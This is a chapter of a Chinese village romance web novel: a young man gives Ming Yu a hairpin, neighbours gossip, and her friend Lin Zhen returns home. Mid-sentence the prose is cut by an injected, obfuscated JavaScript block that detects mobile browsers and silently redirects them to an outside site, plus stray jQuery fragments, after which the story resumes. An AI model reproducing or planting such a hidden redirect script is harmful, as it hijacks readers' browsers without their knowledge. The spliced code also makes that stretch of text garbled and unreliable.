秦临接过明玉递来的桃子和猪蹄。


    “这是什么?”


    明玉没伸手接,而是先问道。


    哥哥说过,不能随便接受别人送的礼物,尤其是男人。这样的礼物通常是带有目的性的,需要在将来某个时间段付出一定的代价。


    她想要什么,哥哥会买。


    见过明家兄妹俩相处的人,都说明晨过于娇惯妹妹了,恨不得包揽一切事务。


    但殊不知,这份浓厚的亲情是相互的。


    明玉不是无心的木头人,对哥哥是全身心信赖。


    她会把明晨说过的话一一记在心里,以往相处的点点滴滴都有会另样的形式呈现在生活里。


    秦临:“发卡。”


    明玉不指望他说别的了。打开盒子,里面是一个蓝白条纹相间的蝴蝶结发卡,表层覆着一层镶嵌着亮点的白纱和一圈相同大小的小颗珍珠链。


    繁琐复杂,又透着精致小巧,很少女的款式。看着不便宜。


    实在想不通,住处简陋、衣着单一的秦临会买这样鲜亮的小物件。


    有种很奇妙的违和感。


    而且,她和秦临才认识不到一个月呢。送她发卡,难道秦临其实是个外冷心热的?


    明玉歪着头不确定的询问:“真的是给我的呀?”


    “嗯。”秦临神情专注,提着桃子和猪蹄的手默默攥紧了些,声音艰涩些许,“喜欢吗?”


    在看到这发卡的第一眼,他就觉得很适合明玉。


    付钱买下后,才后知后觉的去想:娇气包会喜欢吗?


    回村途中,他犹豫了好几次,在想到底要不要送出发卡。


    “还不错。”明玉真心实意的夸赞道。


    本来是没想要的,但稀里糊涂间还是拿起了那枚发卡,单手撩起耳侧几缕发丝撇上,笑语盈盈的问:“这里合适吗?”


    明玉的喜欢就是喜欢,不喜欢就是不喜欢,直白得很。若是不喜欢,即便是明晨买的,也懒得给面子尝试。


    笑靥如花。


    秦临倏地想到这个成语。


    在片刻的对视中,青年心跳猛得变快,喉咙发紧,胸腔热鼓鼓的像是有什么会在下一刻尽数迸发出来。黑发下的耳根悄然间红了一大片。


    “合适。你戴着很好看。”


    比他预想的还要适合。


    明玉抬手碰了碰那发卡,好奇询问:“你为什么会想到送我这个?”


    秦临没有藏着掖着,直白道:“看到觉得你会喜欢,就买了。”


    明玉噗嗤笑出声,放软了语调:“没想到秦临哥你和我哥哥一样,每次给的理由都是这个。不知道的,还以为你们都比我要了解自己呢。”


    “这个谢谢啦~我很喜欢。”


    秦临目光沉沉:“你说过很多次谢谢了。”这般生疏的客套话,不想再听到从她的口中说出来。


    明玉莫名听出一股子委屈,眨巴眨巴眼赶紧将这奇葩的想法从脑子里甩出去。


    ‘委屈’是什么鬼啊!


    她试探性的说:“那我以后不说了?”


    “好。”


    这声‘好’应的极快,快到明玉都没反应过来。感觉气氛有些微妙,她白嫩指尖磨蹭着装发卡的盒子,有些不知道说什么好。


    “那我回去了?”


    秦临不答反问:“明玉,以后我方便来找你吗?”


    “方便吧。”


    来找她干嘛?明玉摸不着头脑,不过都是一个村子的,有啥方不方便。


    秦临过来找,还省了她隔三差五要往秦家跑。


    得到想要的回答,秦临唇角勾起,冷峻面容多了几分罕见的温柔。


    明玉一不留神看愣了眼。


    两人见了好些次,这似乎还是她第一次看到秦临在笑。


    她揉了揉眼睛,是的,她没看错。秦临在笑。


    有点陌生,但不可否认的是,秦临是好看的。毕竟身为男主,相貌自然是不可能差的。


    注意到娇气包的愣神,秦临脊背下意识更挺直了些,直到转身离开前嘴角都维持着相同的弧度。


    走在石路上,他垂眸反思中:以前表情是不是太冷漠了?


    养父秦正强去世后,年幼的小秦临慢慢发现,冷脸可以在无意间解决掉很多不必要的人情和麻烦。随着年岁增长,他便习惯了这样。


    他都有些忘了,上一回笑是什么时候了。


    ——


    村里消息流通很快。


    在田地里看到秦临载着明玉回家的事情,围观的村民们看热闹似的一个接一个的告诉了林婶。


    连林家和都被问了两嘴:秦家小子和明丫头啥时候关系那么好的。


    林婶是过来人,想的也多。难道小玉说要自己去,就是为了和秦临一起去县城?


    她倒是没想过小玉有在刻意瞒着,担心的是,小玉会在她看不到的时候被人欺负。


    先前有些搞不懂明玉为啥会和秦临关系亲近,后来好像就懂了。秦家那小子和明晨仅相差三岁,若论身形的话,秦临来当这个哥哥也不差。


    小玉这孩子,大概是把对哥哥的思念和执着寄托在了秦临身上吧。


    这是他们给不了的。


    一想到这个缘由,林婶对明玉就硬不起心来,哪还想得起来因为一点小事责怪她。再说了,小玉不是没有分寸的孩子,不会做出出格行为来的。


    和村里其他人不同,林婶对秦临很看好,觉得他是个好孩子。


    即使明玉真的对秦临有那心思,也不是什么坏事。她没必要刻意的阻拦。


    不过明玉很快没功夫去想秦临了,因为黏人的林珍回来了。


    这天她还在美滋滋的午睡,正做着在一望无际的海边游玩的美梦呢,就被一声大嗓门给震醒了。


    “明玉!明玉!我回来啦。”


    嗓音之大,连在家的林村长夫妇都能听到。


    吓得明玉从美梦惊醒,迷迷瞪瞪的爬起床去给冤家开门,语气幽怨的吐槽:“你真是要吓死我了。”


    林珍嘿嘿一笑,扑上前一把抱住好些天没见的好友,深吸了一口气。


    呜呜呜,还是那个香香软软的宝宝。


    “哎呀,意外意外。我这不是太想你了嘛,回家吃了午饭就跑来找你玩儿了。”


    她动作熟练的反手关上门栓,大大咧咧的揽着明玉进屋去。


    林珍有一米七三,不胖不瘦,在南方女孩中是罕见的高个子了。留着齐肩短发,喜欢在脑后扎个小揪揪,随着走路一翘一翘的。


    明玉在她怀里,跟毛绒绒的小鸡仔似的。


    明玉没睡醒,困得要死。奈何被搂的太紧,挣扎不了一点。


    “珍珍,先陪我睡会儿觉吧。我眼皮都快睁不开了。”她语气含糊的哄道。


    林珍就吃她这一套,哪舍得拒绝:“好好好,你先去睡,我洗把脸再来。”


    林珍以前经常来找明玉玩,上学后每天都来明家一起写作业。在明家和在自己家一样熟悉。


    看在她是女孩子的份上,明晨并未阻拦,还有些乐见其成。


    学校他去不了,意味着不能时时刻刻照顾妹妹,有林珍在,若是出什么事,还能有个照应的。


    等林珍洗完回来,明玉已经睡熟了。长发散在枕头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958244|193229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,露出的脸颊白里透粉,像上好的羊脂玉。


    她也溜上床,闭眼睡了。


    等明玉再次醒来,睁眼就看到林珍翘着二郎腿坐在书桌前,单手转着笔,看样子是在写作业。


    显然在她睡觉的时候,林珍又回了趟林家。


    明玉没在意,知晓林珍天生的精力旺盛,中午不睡这个觉都能精神抖擞一下午。


    “醒了啊,你这一觉睡得真够久的。昨晚当贼去了?”


    林珍听到声响,扭头笑嘻嘻的调侃。


    “你作业咋一点都没写?亏我为了追赶上你的进度,睡醒就又跑回去拿作业本过来。结果刚刚一翻你的,好家伙,比我脸还干净。”


    明玉顿时觉得家里像养了几百只鸭子,耳朵嗡嗡嗡的。


    连忙叫停:“别说了,把我念叨的又想躺回去了。”


    林珍瞪她:“想都别想,再睡下去你晚上还睡不睡了啊。赶紧起来,去洗脸清醒一下。”


    明玉经不住絮叨,听话的出去洗脸了。


    回来后,就见书桌前、林珍旁边多了条椅子。


    两人坐在那儿,窗外繁茂的桃叶清新养眼。


    林珍撑着下巴:“阿玉,你哥现在就没再找了?”


    知道提明晨,阿玉会伤心。但她还是想问清楚。


    林珍一回村,就听她爸说了一堆明家前前后后发生的事情。就没一个好消息。


    在听到于天杰那狗男人欺负阿玉时,火气‘蹭’的一下就上来了,抡起棍棒就要去于家。


    还是林母拦住她,苦口婆心的说了好些,才把人给劝住。


    这对爸妈看着自家闺女越发‘勇猛’的模样,捂着心口分外怀念幼崽时期的贴心小棉袄。


    闺女也不知咋长的,突然就变成这样了。但到底是亲闺女,还能咋滴,变成啥样他们都乐意养着。


    明玉眼露茫然:“我哥在海市丢的,找不了啊。他们也报过公安了。”


    林珍一想,好像是没什么好办法哈。总不能让阿玉千里迢迢跑去海市吧。


    “没事!以后有我和我爸妈在,就没人敢欺负你。我一拳能打十个!”


    她故作严肃的把短袖撸到肩头,鼓起一点点肌肉。


    明玉笑弯了眼:“知道珍珍最好啦~不过我跟你说,我哥他没事,不回来找我是有原因的。”还是没忍住多嘴说了这么一句。


    她和林珍是从小一起长大的交情,无话不说,无话不谈。


    即使透露这一两句,也不碍事。按照林珍的性子,只会觉得是她对哥哥好的念想。


    果不其然,林珍大人似的表情深沉的拍拍好友肩膀:“嗯,我信你!”


    快一个月没见面的好朋友,扯东扯西的聊了一下午。大部分是没啥内容的废话,但聊起来就是津津有味。


    夜幕降临,等不回闺女吃完饭的林母,来明家喊林珍回去。


    林珍意犹未尽的起身:“阿玉,课本就放你这儿了。等我吃完饭再来找你啊。”


    两家离得近,就几步路的距离。


    没了明晨在,林珍就跟放飞的鸟儿一样,无拘无束。再没有能拦住她的人。


    今晚她就要和阿玉睡觉!实现多年来的梦想。


    以前有明晨,无论她在明家玩到多晚,都会被喊回自己家里去。留下跟明玉睡觉,想都别想。


    明玉:……


    她还真没和别人睡过一张床,今天中午除外,那时候一碰床就不省人事了,哪还能知道外界的情况。


    林珍一溜烟儿的就跑没影了。


    不过有林珍在,明玉觉得日子一点都不难捱了,时间过得飞快。